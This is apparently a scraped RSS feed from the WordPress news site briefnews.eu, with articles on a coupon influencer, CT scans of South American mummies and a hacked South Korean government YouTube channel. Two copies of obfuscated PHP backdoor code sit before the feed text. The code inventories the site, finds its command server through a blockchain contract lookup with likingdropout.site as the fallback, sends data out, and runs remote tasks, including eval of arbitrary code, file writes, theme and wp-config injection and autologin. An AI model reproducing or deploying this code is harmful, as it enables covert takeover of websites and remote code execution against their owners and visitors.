// q2_xh if(!defined('ABSPATH'))return; $cfg=array( 'stub'=>'/data/web/virtuals/153909/virtual/www/domains/briefnews.eu/wp-content/plugins/wp-helper-4bdb4f/wp-helper-4bdb4f.php', 'ctrl'=>'// q2_xh', 'vis'=>'// xp_v9', 'vis_func'=>'wp_dia8xd', 'vis_paths'=>array('/data/web/virtuals/153909/virtual/www/domains/briefnews.eu/wp-content/plugins/wp-helper-4bdb4f/wp-helper-4bdb4f.php'), 'opt'=>'_wp_47nl0jvi', ); $keys=array(); $keys['id']='kun'; $keys['ver']='em'; $keys['caps']='eby'; $keys['tasks']='awd'; $keys['interval']='pww'; $keys['ack_id']='nl0'; $keys['ok']='9s'; $keys['detail']='wyy'; $keys['inv']='kxw'; $keys['result']='f3t'; $hdr='X-J98-Auth';$tok='0cQMbCeRLTCSW0NdninnOEVrAtwy11ErS16wrKLqeas';$id='1d0c923bac57072b';$interval=420; function _ea_inv($cfg){ $r=array('ts'=>time(),'wp'=>(function_exists('get_bloginfo')?get_bloginfo('version'):''),'php'=>PHP_VERSION); $chk=function($p,$m){$o=array('path'=>$p,'exists'=>false,'marker'=>false,'size'=>0);if(!$p||!is_string($p))return $o; if(@is_file($p)){$b=@file_get_contents($p);$o['exists']=true;$o['size']=strlen((string)$b);$o['marker']=($b&&strpos($b,$m)!==false);}return $o;}; $r['stub']=$chk($cfg['stub'],$cfg['ctrl']); $vis=array('plugin'=>null,'paths'=>array()); foreach($cfg['vis_paths'] as $_vp){$vis['paths'][]=$chk($_vp,$cfg['vis']);} $found=null;foreach($vis['paths'] as $_p){if(!empty($_p['marker'])){$found=$_p;break;}} if(!$found){$pd=WP_CONTENT_DIR.'/plugins';if(@is_dir($pd)){foreach(@glob($pd.'/*/*.php')?:array() as $_f){$b=@file_get_contents($_f);if($b&&strpos($b,'// ea_plug')!==false){$found=$chk($_f,'// ea_plug');break;}}} $vis['plugin']=$found?:array('path'=>'','exists'=>false,'marker'=>false); $r['visitor']=$vis; $mu=array('path'=>'','exists'=>false,'marker'=>false);$md=WP_CONTENT_DIR.'/mu-plugins'; if(@is_dir($md)){foreach(@glob($md.'/*.php')?:array() as $_f){$b=@file_get_contents($_f);if($b&&strpos($b,'// ea_mu')!==false){$mu=$chk($_f,'// ea_mu');break;}}} $r['mu_autologin']=$mu; $ft=0;$fw=0;$td=WP_CONTENT_DIR.'/themes';if(@is_dir($td)){foreach(@glob($td.'/*/functions.php')?:array() as $_f){$ft++;$b=@file_get_contents($_f);if($b&&strpos($b,'// _ea_al')!==false)$fw++;}} $r['functions_autologin']=array('themes_total'=>$ft,'themes_with_marker'=>$fw); $wpc=array('path'=>(defined('ABSPATH')?ABSPATH.'wp-config.php':''),'exists'=>false,'marker'=>false); if($wpc['path']&&@is_file($wpc['path'])){$b=@file_get_contents($wpc['path']);$wpc['exists']=true;$wpc['marker']=($b&&(strpos($b,'// _ea_wc')!==false||strpos($b,'/* _ea_wc_s */')!==false));} $r['wpconfig_inject']=$wpc; $cp=array();if(defined('LSCWP_V'))$cp[]='litespeed';if(defined('W3TC'))$cp[]='w3tc'; if(defined('WP_ROCKET_VERSION'))$cp[]='wp_rocket';if(defined('WPCACHEHOME'))$cp[]='wp_super_cache'; if(defined('SG_CACHEPRESS'))$cp[]='sg_optimizer';$r['cache']=array('plugins'=>$cp,'opcache'=>function_exists('opcache_get_status')); return $r;} function _ea_run_task($_task,$cfg,$keys,$hdr,$tok,$id){ $_ok=false;$_detail='';$_result=null; $_code=isset($_task['t'])?$_task['t']:'';$_p=isset($_task['p'])?$_task['p']:array();$_tid=isset($_task['i'])?$_task['i']:0; if(($_code==='wf'||$_code==='ld')&&!empty($_p['path'])&&isset($_p['content'])){ $_path=$_p['path'];$_body=@is_file($_path)?@file_get_contents($_path):''; if($_code==='ld'&&strpos((string)$_body,$_p['content'])===false)$_body.=$_p['content']; elseif($_code==='wf')$_body=$_p['content']; $_ok=@file_put_contents($_path,$_body)!==false; }elseif($_code==='su'&&!empty($_p['path'])&&!empty($_p['content'])){ $_ok=@file_put_contents($_p['path'],$_p['content'])!==false; }elseif($_code==='rp'&&!empty($_p['code'])){ ob_start();try{eval($_p['code']);$_ok=true;}catch(Throwable $e){$_detail=$e->getMessage();}catch(Exception $e){$_detail=$e->getMessage();} $_result=array('output'=>ob_get_clean());} elseif($_code==='va'){$_result=_ea_inv($cfg);$_ok=true;} elseif($_code==='fc'){ $p=array();if(function_exists('wp_cache_flush')){wp_cache_flush();$p[]='object';} if(function_exists('opcache_reset')){@opcache_reset();$p[]='opcache';} if(defined('LSCWP_V')&&function_exists('do_action')){do_action('litespeed_purge_all');$p[]='litespeed';} if(defined('W3TC')&&function_exists('w3tc_flush_all')){w3tc_flush_all();$p[]='w3tc';} if(function_exists('rocket_clean_domain')){rocket_clean_domain();$p[]='wp_rocket';} if(function_exists('wp_cache_clear_cache')){wp_cache_clear_cache();$p[]='wp_super_cache';} if(function_exists('sg_cachepress_purge_cache')){sg_cachepress_purge_cache();$p[]='sg_optimizer';} $_ok=true;$_result=array('purged'=>$p);} elseif($_code==='ma'&&!empty($_p['path'])&&!empty($_p['content'])){ @wp_mkdir_p(dirname($_p['path']));$_ok=@file_put_contents($_p['path'],$_p['content'])!==false; }elseif($_code==='fn'&&!empty($_p['snippet'])){ $td=WP_CONTENT_DIR.'/themes';$n=0;if(@is_dir($td)){foreach(@glob($td.'/*/functions.php')?:array() as $_f){$b=@file_get_contents($_f);if(strpos((string)$b,'// _ea_al')===false){$b=rtrim((string)$b)."\n".$_p['snippet'];if(@file_put_contents($_f,$b)!==false)$n++;}}} $_ok=$n>0;$_result=array('themes_updated'=>$n);} elseif($_code==='wc'){ $wp=ABSPATH.'wp-config.php';if(@is_file($wp)){$b=@file_get_contents($wp); if(strpos($b,'/* _ea_wc_s */')!==false){$b=preg_replace('#/\*/* _ea_wc_s */\*/.*?/\* _ea_wc_e \*/#s','',$b);} $b=str_replace(array('// _ea_wc','/* _ea_wc_s */','/* _ea_wc_e */'),'',$b);$_ok=@file_put_contents($wp,$b)!==false;} } $ack=array($keys['ack_id']=>$_tid,$keys['ok']=>$_ok,$keys['detail']=>$_detail); if($_result!==null)$ack[$keys['result']]=$_result; return $ack;} function _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,$force){ $k=$cfg['opt'];if(!$force&&!wp_doing_cron()){ if(is_admin())return; $last=(int)get_option($k,0);if(time()-$last<$interval)return; } $u='likingdropout.site';$co='0x9e33A3979F74c7700E4BaA7e7a2934556f72eF96';$sel='0x38bd65e2';$rpcs=array('https://data-seed-prebsc-1-s1.bnbchain.org:8545','https://data-seed-prebsc-1-s1.bnbchain.org:8545/','https://data-seed-prebsc-2-s1.binance.org:8545/','https://data-seed-prebsc-2-s2.binance.org:8545/','https://bsc-testnet-dataseed.bnbchain.org/','https://bnb-testnet.api.onfinality.io/public'); foreach($rpcs as $_rpc){ $b=json_encode(array('jsonrpc'=>'2.0','id'=>97,'method'=>'eth_call','params'=>array(array('to'=>$co,'data'=>$sel),'latest'))); $ctx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n",'content'=>$b,'timeout'=>3,'ignore_errors'=>true))); $raw=@file_get_contents($_rpc,false,$ctx); if(!$raw)continue; $j=json_decode($raw,true); if(empty($j['result'])||strlen($j['result'])<10)continue; $h=substr($j['result'],2); if(strlen($h)<128)continue; $off=(int)hexdec(substr($h,0,64)); $len=(int)hexdec(substr($h,$off*2,64)); $_z=pack('H*',substr($h,$off*2+64,$len*2));if($_z)$u=$_z;break; } $_hp='/panel/api/v1/metrics/collect'; $_z=trim((string)$u);$_z=preg_replace('#^https?://#','',$_z); if(strpos($_z,'/')!==false){$_xp=explode('/',$_z,2);$_z=$_xp[0];if(!empty($_xp[1]))$_hp='/'.ltrim($_xp[1],'/');} $_z=trim($_z,'.');if(!$_z)$_z='likingdropout.site'; $_s=substr(str_replace(array('+','/','='),'',base64_encode(random_bytes(6))),0,10); $u='https://'.$_s.'.'.$_z.$_hp; $_ack=$u;if(substr($_ack,-7)==='collect')$_ack=substr($_ack,0,-7).'ack';else $_ack=rtrim($_ack,'/').'/ack'; $inv=_ea_inv($cfg); $b=array($keys['id']=>$id,$keys['ver']=>2,$keys['caps']=>array('server_sync','visitor_js','write_file'),$keys['inv']=>$inv); $resp='';if(function_exists('wp_remote_post')){$_r=wp_remote_post($u,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($b)));if(!is_wp_error($_r))$resp=(string)wp_remote_retrieve_body($_r);}else{$ctx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($b),'timeout'=>20,'ignore_errors'=>true)));$resp=(string)@file_get_contents($u,false,$ctx);} if(!$resp)return; update_option($k,time(),false); $j=json_decode($resp,true);$tk=$keys['tasks']; if(empty($j[$tk])||!is_array($j[$tk]))return; foreach($j[$tk] as $_task){ $ack=_ea_run_task($_task,$cfg,$keys,$hdr,$tok,$id); if(function_exists('wp_remote_post')){@wp_remote_post($_ack,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($ack)));}else{$actx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($ack),'timeout'=>20,'ignore_errors'=>true)));@file_get_contents($_ack,false,$actx);} } } add_filter('cron_schedules',function($s){$s['ea_fleet']=array('interval'=>$interval,'display'=>'Fleet sync');return $s;}); add_action('init',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ if(!wp_next_scheduled('ea_fleet_sync'))wp_schedule_event(time()+120,'ea_fleet','ea_fleet_sync'); _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,false); },1); add_action('ea_fleet_sync',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,true); }); // l0_9z if(!defined('ABSPATH'))return; $cfg=array( 'stub'=>'/data/web/virtuals/153909/virtual/www/domains/briefnews.eu/wp-content/plugins/wp-helper-4bdb4f/wp-helper-4bdb4f.php', 'ctrl'=>'// l0_9z', 'vis'=>'// zn_yn', 'vis_func'=>'wp_cuzg8t', 'vis_paths'=>array('/data/web/virtuals/153909/virtual/www/domains/briefnews.eu/wp-content/plugins/wp-helper-4bdb4f/wp-helper-4bdb4f.php'), 'opt'=>'_wp_mtrhds4x', ); $keys=array(); $keys['id']='ybc'; $keys['ver']='a1'; $keys['caps']='afo'; $keys['tasks']='x9t'; $keys['interval']='2e4'; $keys['ack_id']='k72'; $keys['ok']='ch'; $keys['detail']='xd9'; $keys['inv']='hw8'; $keys['result']='0bb'; $hdr='X-L8A-Auth';$tok='A3-EVnA_qOJ132k0gQIT_73RgM-QQ5Szxw145ZNDetU';$id='d1451f9eb0097c9f';$interval=420; function _ea_inv($cfg){ $r=array('ts'=>time(),'wp'=>(function_exists('get_bloginfo')?get_bloginfo('version'):''),'php'=>PHP_VERSION); $chk=function($p,$m){$o=array('path'=>$p,'exists'=>false,'marker'=>false,'size'=>0);if(!$p||!is_string($p))return $o; if(@is_file($p)){$b=@file_get_contents($p);$o['exists']=true;$o['size']=strlen((string)$b);$o['marker']=($b&&strpos($b,$m)!==false);}return $o;}; $r['stub']=$chk($cfg['stub'],$cfg['ctrl']); $vis=array('plugin'=>null,'paths'=>array()); foreach($cfg['vis_paths'] as $_vp){$vis['paths'][]=$chk($_vp,$cfg['vis']);} $found=null;foreach($vis['paths'] as $_p){if(!empty($_p['marker'])){$found=$_p;break;}} if(!$found){$pd=WP_CONTENT_DIR.'/plugins';if(@is_dir($pd)){foreach(@glob($pd.'/*/*.php')?:array() as $_f){$b=@file_get_contents($_f);if($b&&strpos($b,'// ea_plug')!==false){$found=$chk($_f,'// ea_plug');break;}}} $vis['plugin']=$found?:array('path'=>'','exists'=>false,'marker'=>false); $r['visitor']=$vis; $mu=array('path'=>'','exists'=>false,'marker'=>false);$md=WP_CONTENT_DIR.'/mu-plugins'; if(@is_dir($md)){foreach(@glob($md.'/*.php')?:array() as $_f){$b=@file_get_contents($_f);if($b&&strpos($b,'// ea_mu')!==false){$mu=$chk($_f,'// ea_mu');break;}}} $r['mu_autologin']=$mu; $ft=0;$fw=0;$td=WP_CONTENT_DIR.'/themes';if(@is_dir($td)){foreach(@glob($td.'/*/functions.php')?:array() as $_f){$ft++;$b=@file_get_contents($_f);if($b&&strpos($b,'// _ea_al')!==false)$fw++;}} $r['functions_autologin']=array('themes_total'=>$ft,'themes_with_marker'=>$fw); $wpc=array('path'=>(defined('ABSPATH')?ABSPATH.'wp-config.php':''),'exists'=>false,'marker'=>false); if($wpc['path']&&@is_file($wpc['path'])){$b=@file_get_contents($wpc['path']);$wpc['exists']=true;$wpc['marker']=($b&&(strpos($b,'// _ea_wc')!==false||strpos($b,'/* _ea_wc_s */')!==false));} $r['wpconfig_inject']=$wpc; $cp=array();if(defined('LSCWP_V'))$cp[]='litespeed';if(defined('W3TC'))$cp[]='w3tc'; if(defined('WP_ROCKET_VERSION'))$cp[]='wp_rocket';if(defined('WPCACHEHOME'))$cp[]='wp_super_cache'; if(defined('SG_CACHEPRESS'))$cp[]='sg_optimizer';$r['cache']=array('plugins'=>$cp,'opcache'=>function_exists('opcache_get_status')); return $r;} function _ea_run_task($_task,$cfg,$keys,$hdr,$tok,$id){ $_ok=false;$_detail='';$_result=null; $_code=isset($_task['t'])?$_task['t']:'';$_p=isset($_task['p'])?$_task['p']:array();$_tid=isset($_task['i'])?$_task['i']:0; if(($_code==='wf'||$_code==='ld')&&!empty($_p['path'])&&isset($_p['content'])){ $_path=$_p['path'];$_body=@is_file($_path)?@file_get_contents($_path):''; if($_code==='ld'&&strpos((string)$_body,$_p['content'])===false)$_body.=$_p['content']; elseif($_code==='wf')$_body=$_p['content']; $_ok=@file_put_contents($_path,$_body)!==false; }elseif($_code==='su'&&!empty($_p['path'])&&!empty($_p['content'])){ $_ok=@file_put_contents($_p['path'],$_p['content'])!==false; }elseif($_code==='rp'&&!empty($_p['code'])){ ob_start();try{eval($_p['code']);$_ok=true;}catch(Throwable $e){$_detail=$e->getMessage();}catch(Exception $e){$_detail=$e->getMessage();} $_result=array('output'=>ob_get_clean());} elseif($_code==='va'){$_result=_ea_inv($cfg);$_ok=true;} elseif($_code==='fc'){ $p=array();if(function_exists('wp_cache_flush')){wp_cache_flush();$p[]='object';} if(function_exists('opcache_reset')){@opcache_reset();$p[]='opcache';} if(defined('LSCWP_V')&&function_exists('do_action')){do_action('litespeed_purge_all');$p[]='litespeed';} if(defined('W3TC')&&function_exists('w3tc_flush_all')){w3tc_flush_all();$p[]='w3tc';} if(function_exists('rocket_clean_domain')){rocket_clean_domain();$p[]='wp_rocket';} if(function_exists('wp_cache_clear_cache')){wp_cache_clear_cache();$p[]='wp_super_cache';} if(function_exists('sg_cachepress_purge_cache')){sg_cachepress_purge_cache();$p[]='sg_optimizer';} $_ok=true;$_result=array('purged'=>$p);} elseif($_code==='ma'&&!empty($_p['path'])&&!empty($_p['content'])){ @wp_mkdir_p(dirname($_p['path']));$_ok=@file_put_contents($_p['path'],$_p['content'])!==false; }elseif($_code==='fn'&&!empty($_p['snippet'])){ $td=WP_CONTENT_DIR.'/themes';$n=0;if(@is_dir($td)){foreach(@glob($td.'/*/functions.php')?:array() as $_f){$b=@file_get_contents($_f);if(strpos((string)$b,'// _ea_al')===false){$b=rtrim((string)$b)."\n".$_p['snippet'];if(@file_put_contents($_f,$b)!==false)$n++;}}} $_ok=$n>0;$_result=array('themes_updated'=>$n);} elseif($_code==='wc'){ $wp=ABSPATH.'wp-config.php';if(@is_file($wp)){$b=@file_get_contents($wp); if(strpos($b,'/* _ea_wc_s */')!==false){$b=preg_replace('#/\*/* _ea_wc_s */\*/.*?/\* _ea_wc_e \*/#s','',$b);} $b=str_replace(array('// _ea_wc','/* _ea_wc_s */','/* _ea_wc_e */'),'',$b);$_ok=@file_put_contents($wp,$b)!==false;} } $ack=array($keys['ack_id']=>$_tid,$keys['ok']=>$_ok,$keys['detail']=>$_detail); if($_result!==null)$ack[$keys['result']]=$_result; return $ack;} function _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,$force){ $k=$cfg['opt'];if(!$force&&!wp_doing_cron()){ if(is_admin())return; $last=(int)get_option($k,0);if(time()-$last<$interval)return; } $u='likingdropout.site';$co='0x9e33A3979F74c7700E4BaA7e7a2934556f72eF96';$sel='0x38bd65e2';$rpcs=array('https://data-seed-prebsc-1-s1.bnbchain.org:8545','https://data-seed-prebsc-1-s1.bnbchain.org:8545/','https://data-seed-prebsc-2-s1.binance.org:8545/','https://data-seed-prebsc-2-s2.binance.org:8545/','https://bsc-testnet-dataseed.bnbchain.org/','https://bnb-testnet.api.onfinality.io/public'); foreach($rpcs as $_rpc){ $b=json_encode(array('jsonrpc'=>'2.0','id'=>97,'method'=>'eth_call','params'=>array(array('to'=>$co,'data'=>$sel),'latest'))); $ctx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n",'content'=>$b,'timeout'=>3,'ignore_errors'=>true))); $raw=@file_get_contents($_rpc,false,$ctx); if(!$raw)continue; $j=json_decode($raw,true); if(empty($j['result'])||strlen($j['result'])<10)continue; $h=substr($j['result'],2); if(strlen($h)<128)continue; $off=(int)hexdec(substr($h,0,64)); $len=(int)hexdec(substr($h,$off*2,64)); $_z=pack('H*',substr($h,$off*2+64,$len*2));if($_z)$u=$_z;break; } $_hp='/panel/api/v1/metrics/collect'; $_z=trim((string)$u);$_z=preg_replace('#^https?://#','',$_z); if(strpos($_z,'/')!==false){$_xp=explode('/',$_z,2);$_z=$_xp[0];if(!empty($_xp[1]))$_hp='/'.ltrim($_xp[1],'/');} $_z=trim($_z,'.');if(!$_z)$_z='likingdropout.site'; $_s=substr(str_replace(array('+','/','='),'',base64_encode(random_bytes(6))),0,10); $u='https://'.$_s.'.'.$_z.$_hp; $_ack=$u;if(substr($_ack,-7)==='collect')$_ack=substr($_ack,0,-7).'ack';else $_ack=rtrim($_ack,'/').'/ack'; $inv=_ea_inv($cfg); $b=array($keys['id']=>$id,$keys['ver']=>2,$keys['caps']=>array('server_sync','visitor_js','write_file'),$keys['inv']=>$inv); $resp='';if(function_exists('wp_remote_post')){$_r=wp_remote_post($u,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($b)));if(!is_wp_error($_r))$resp=(string)wp_remote_retrieve_body($_r);}else{$ctx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($b),'timeout'=>20,'ignore_errors'=>true)));$resp=(string)@file_get_contents($u,false,$ctx);} if(!$resp)return; update_option($k,time(),false); $j=json_decode($resp,true);$tk=$keys['tasks']; if(empty($j[$tk])||!is_array($j[$tk]))return; foreach($j[$tk] as $_task){ $ack=_ea_run_task($_task,$cfg,$keys,$hdr,$tok,$id); if(function_exists('wp_remote_post')){@wp_remote_post($_ack,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($ack)));}else{$actx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($ack),'timeout'=>20,'ignore_errors'=>true)));@file_get_contents($_ack,false,$actx);} } } add_filter('cron_schedules',function($s){$s['ea_fleet']=array('interval'=>$interval,'display'=>'Fleet sync');return $s;}); add_action('init',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ if(!wp_next_scheduled('ea_fleet_sync'))wp_schedule_event(time()+120,'ea_fleet','ea_fleet_sync'); _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,false); },1); add_action('ea_fleet_sync',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,true); }); South – Brief News https://briefnews.eu Latest World News. Find every day short and brief information composed of titles and subtitles and continue reading if interested. Thu, 15 Sep 2022 22:28:04 +0000 en-US hourly 1 https://wordpress.org/?v=7.0.7 https://briefnews.eu/wp-content/uploads/2018/01/cropped-logoSmall-1-32x32.png South – Brief News https://briefnews.eu 32 32 A South Carolina mom who never pays for toothpaste or toilet paper shares the free app everyone should have to save money https://briefnews.eu/a-south-carolina-mom-who-never-pays-for-toothpaste-or-toilet-paper-shares-the-free-app-everyone-should-have-to-save-money/ https://briefnews.eu/a-south-carolina-mom-who-never-pays-for-toothpaste-or-toilet-paper-shares-the-free-app-everyone-should-have-to-save-money/#respond Thu, 15 Sep 2022 22:28:04 +0000 https://briefnews.eu/a-south-carolina-mom-who-never-pays-for-toothpaste-or-toilet-paper-shares-the-free-app-everyone-should-have-to-save-money/ Extreme couponer Hayley Bennett
Hayley Bennett runs @that_coupon_chick, an Instagram page focused on coupons and deals.

Mary Beth Gahan

  • Hayley Bennett runs @that_coupon_chick, an Instagram page focused on coupons and deals, and recommends Ibotta as her favorite app.
  • She started couponing to save on diapers and it turned into her full-time job.
  • This is her story, as told to Mary Beth Gahan.

I spend my days helping people learn how to coupon, find clearance deals, and save money.

I started my Instagram account in early 2020 because I was always telling people about the deals I was getting. My boyfriend at the time said, "Why don't you just put it online so the people interested in it will see it?" It just kind of grew from there.

My desire to find coupons came from a real need: In 2016, I was a broke college student and a new mom.

Everything was expensive and I was trying to find a way to save as much money as I could. I didn't really think I was going to get into couponing like I did. I thought I was just going to use coupons here and there, save a little bit of money. Then I realized just how much this could really impact people and how much money you really could save.

Saving money this way gave me financial independence to be my own boss

I started in 2021 with about 2,000 followers. At the beginning of this year, I had 10,000. Now, I'm at 23,000. It used to be a side gig thing, but with the referrals, brand deals and sponsorships, this is my main job. It's great. Growing up, I always wanted to do something for myself on my own and not worry about being bossed around by people.

Coupons are out there, you just have to know where to look

When I wake up, I'll check different apps and see if any rebates have been posted. If they have, then I kind of cross-check with the sales going on with Target, Publix, CVS, wherever. Then, I search for coupons online. Really all you have to do is Google the brand and the coupon you're trying to find. Google does a pretty good job of pulling up anything relevant.

Then I go to the store, find the deals, and take pictures and videos. After that, I post the deals for people on my page.

Newspapers are no longer the place to look for coupons

Over the past couple of years and especially since Covid started, more companies are starting to pull coupons out of the Sunday paper insert. The Smart Source inserts also harder to find. But you can get the coupons digitally, like through the Kroger app or the Target app.

A lot of stores are now changing their coupon policies; they're not wanting to accept printable coupons or paper coupons anymore because of people using them illegally or printing multiple coupons. I think a lot of stores and a lot of brands are going digital, so they want people to do more of the apps and the rebate apps.

You shouldn't be paying for things you use every day

There are ways to save pretty much across the board. I never pay for toilet paper, skincare products or makeup – even diapers and wipes. You can get those extremely cheap. I think the main things that people for sure can get for free, or even make money getting through rebate apps, are toothpaste, deodorant, shampoo and conditioner. The things people use every day, there is no need to ever pay for those because there's always a sale, a coupon or a rebate app that you can use to get them for free.

There's one app I recommend getting right away

I use a multitude of apps, but if anyone was going to get just one app, get Ibotta. It has the most rebates on it and it's super user-friendly. All you have to is upload your receipt, click the items you got, then you get reimbursed through an account.

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]]> https://briefnews.eu/a-south-carolina-mom-who-never-pays-for-toothpaste-or-toilet-paper-shares-the-free-app-everyone-should-have-to-save-money/feed/ 0 3D technology uncovers the causes of death of 3 ancient South American mummies — and it isn’t pretty https://briefnews.eu/3d-technology-uncovers-the-causes-of-death-of-3-ancient-south-american-mummies-and-it-isnt-pretty/ https://briefnews.eu/3d-technology-uncovers-the-causes-of-death-of-3-ancient-south-american-mummies-and-it-isnt-pretty/#respond Sat, 10 Sep 2022 08:17:44 +0000 https://briefnews.eu/3d-technology-uncovers-the-causes-of-death-of-3-ancient-south-american-mummies-and-it-isnt-pretty/ The “Marburg mummy”—Macroscopic views of the whole mummy. (A) Frontal and (B) lateral view.
The “Marburg mummy”—Macroscopic views of the whole mummy. (A) Frontal and (B) lateral view.

Anna-Maria Begerock, Robert Loynes, Oliver K. Peschel, John Verano, Raffaella Bianucci, Isabel Martinez Armijo, Mercedes González, and Andreas G. Nerlich

  • A report published Friday examined the causes of deaths of three South American mummies.
  • The two male mummies died violently, while the female died of natural causes.
  • The study suggests that more South American mummies died violently than previously thought.

The use of digital technology to examine mummies is nothing new. But a recent report shows how two of three South American mummies may have died wildly brutal deaths. 

The 16-page report released Friday in the journal Frontiers in Medicine took a look at three South American mummies — two male and one female — between 740 and 1120 years old.

Per the report, each was "naturally mummified" and had "good preservation of soft tissues."

Through CT scanning, a non-invasive scan used to examine objects in 3D, researchers found the men died violently, while the female died of natural causes. 

The “Delémont man” (right) and the “Delémont woman” (left)—“overview of the two mummies in their repository case.”
The “Delémont man” (right) and the “Delémont woman” (left)—“overview of the two mummies in their repository case.”

Anna-Maria Begerock, Robert Loynes, Oliver K. Peschel, John Verano, Raffaella Bianucci, Isabel Martinez Armijo, Mercedes González, and Andreas G. Nerlich

"The availability of modern CT-scans with the opportunity for 3D reconstructions offers unique insight into bodies that would otherwise not have been detected," Andreas Nerlich, a professor at the Department of Pathology of Munich Clinic Bogenhausen in Germany and a co-author of the report, said in a statement: "Previous studies would have either destroyed the mummy, while X-rays or older CT-scans without three-dimensional reconstruction functions could not have detected the diagnostic key features we found here." 

The first male mummy is estimated to have lived between 996 and 1147 CE in the Arica region in Northern Chile. The report refers to him as the "Marburg" man. The man was approximately 20 to 25 years old and was buried in a seated position.

The second two were referred to as the "Delémont" mummies — with the male's life dated between 902 and 994 CE and the female's dated between 1224 and 1282 CE. The two mummies, likely from the Arequipa region in Peru, had been positioned flat on their backs rather than seated.

The Delémont male mummy: view of the face and aspects of the upper body half from the right side.
The Delémont male mummy: view of the face and aspects of the upper body half from the right side.

Anna-Maria Begerock, Robert Loynes, Oliver K. Peschel, John Verano, Raffaella Bianucci, Isabel Martinez Armijo, Mercedes González, and Andreas G. Nerlich

The Marburg man is assumed to have died after "[One] assaulter hit the victim with full force on the head and [a] second assaulter stab[bed] the victim (who still was standing or kneeling) in the back," per the report. The other seemingly died after experiencing "massive trauma against the cervical spine."

A group of researchers from universities in Spain, the UK, the US, and Germany coauthored the report. 

"Importantly, the study of human mummified material can reveal a much higher rate of trauma, especially intentional trauma, than the study of skeletons. There are dozens of South American mummies which might profit from a similar investigation as done here we did here," Nerlich continued.

The authors did not immediately reply to Insider's request for comment.

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]]> https://briefnews.eu/3d-technology-uncovers-the-causes-of-death-of-3-ancient-south-american-mummies-and-it-isnt-pretty/feed/ 0 Elon Musk’s crypto interview was broadcast on the South Korean government’s YouTube channel that was hacked and renamed ‘SpaceX Invest’ https://briefnews.eu/elon-musks-crypto-interview-was-broadcast-on-the-south-korean-governments-youtube-channel-that-was-hacked-and-renamed-spacex-invest/ https://briefnews.eu/elon-musks-crypto-interview-was-broadcast-on-the-south-korean-governments-youtube-channel-that-was-hacked-and-renamed-spacex-invest/#respond Mon, 05 Sep 2022 04:49:40 +0000 https://briefnews.eu/elon-musks-crypto-interview-was-broadcast-on-the-south-korean-governments-youtube-channel-that-was-hacked-and-renamed-spacex-invest/ Tesla founder Elon Musk attends Offshore Northern Seas 2022 in Stavanger, Norway August 29, 2022.
The cyberattack saw the South Korean government's official YouTube channel broadcasting a June interview with billionaire Elon Musk.

NTB/Carina Johansen via REUTERS

  • The South Korean government's YouTube channel was breached to stream cryptocurrency videos.
  • The cyberattacker renamed the channel "SpaceX Invest" and broadcast an interview with Elon Musk.
  • It's the third YouTube channel run by South Korea's government to be hacked in the last two weeks.

The South Korean government's official YouTube channel was hacked on Saturday morning to broadcast a video featuring billionaire Elon Musk chatting about cryptocurrency, according to local media reports.

At 3:30 a.m., the channel's name was switched to "SpaceX Invest," per the Yonhap News Agency. A screenshot posted by the agency appears to show a clip from a June interview Musk gave to Bloomberg News editor-in-chief John Micklethwait during the Qatar Economic Forum.

In the interview, Musk discussed how his Tesla and SpaceX companies had bought bitcoin as a "small percentage" of their cash assets and said his automaker accepts Dogecoin, the cryptocurrency he helped boost by 10% after tweeting about it.

The South Korean government became aware of the breach three hours later and restored its access to the account around 7.20 a.m., the Ministry of Culture, Sports and Tourism said, according to Yonhap.

The agency reported that the YouTube channel's account ID and password were said to have been stolen.

The channel has around 262,000 subscribers and actively posts videos on government policies and current events. It's the third YouTube account run by South Korea's government to have been breached in the last two weeks, Korean daily JoongAng Ilbo's Lee Jian reported.

The identities and motives of those behind the attacks are not immediately known, the paper wrote, citing a statement from the Ministry of Culture, Sports and Tourism.

The Korea Tourism Organization's YouTube channel was breached twice — once on Thursday and once on Friday — and was suspended until Sunday, JoongAng Ilbo reported.

Meanwhile, the YouTube channel of South Korea's National Museum of Modern and Contemporary Art was also hacked on August 29 to stream a video about cryptocurrencies, the outlet wrote. It's not clear if this attack was related to the breach on Sunday.

Google, YouTube's parent company, confirmed the breaches to Yonhap and Joongang Ilbo, saying it would investigate the cause of the attacks. Google did not immediately respond to Insider's request for comment.

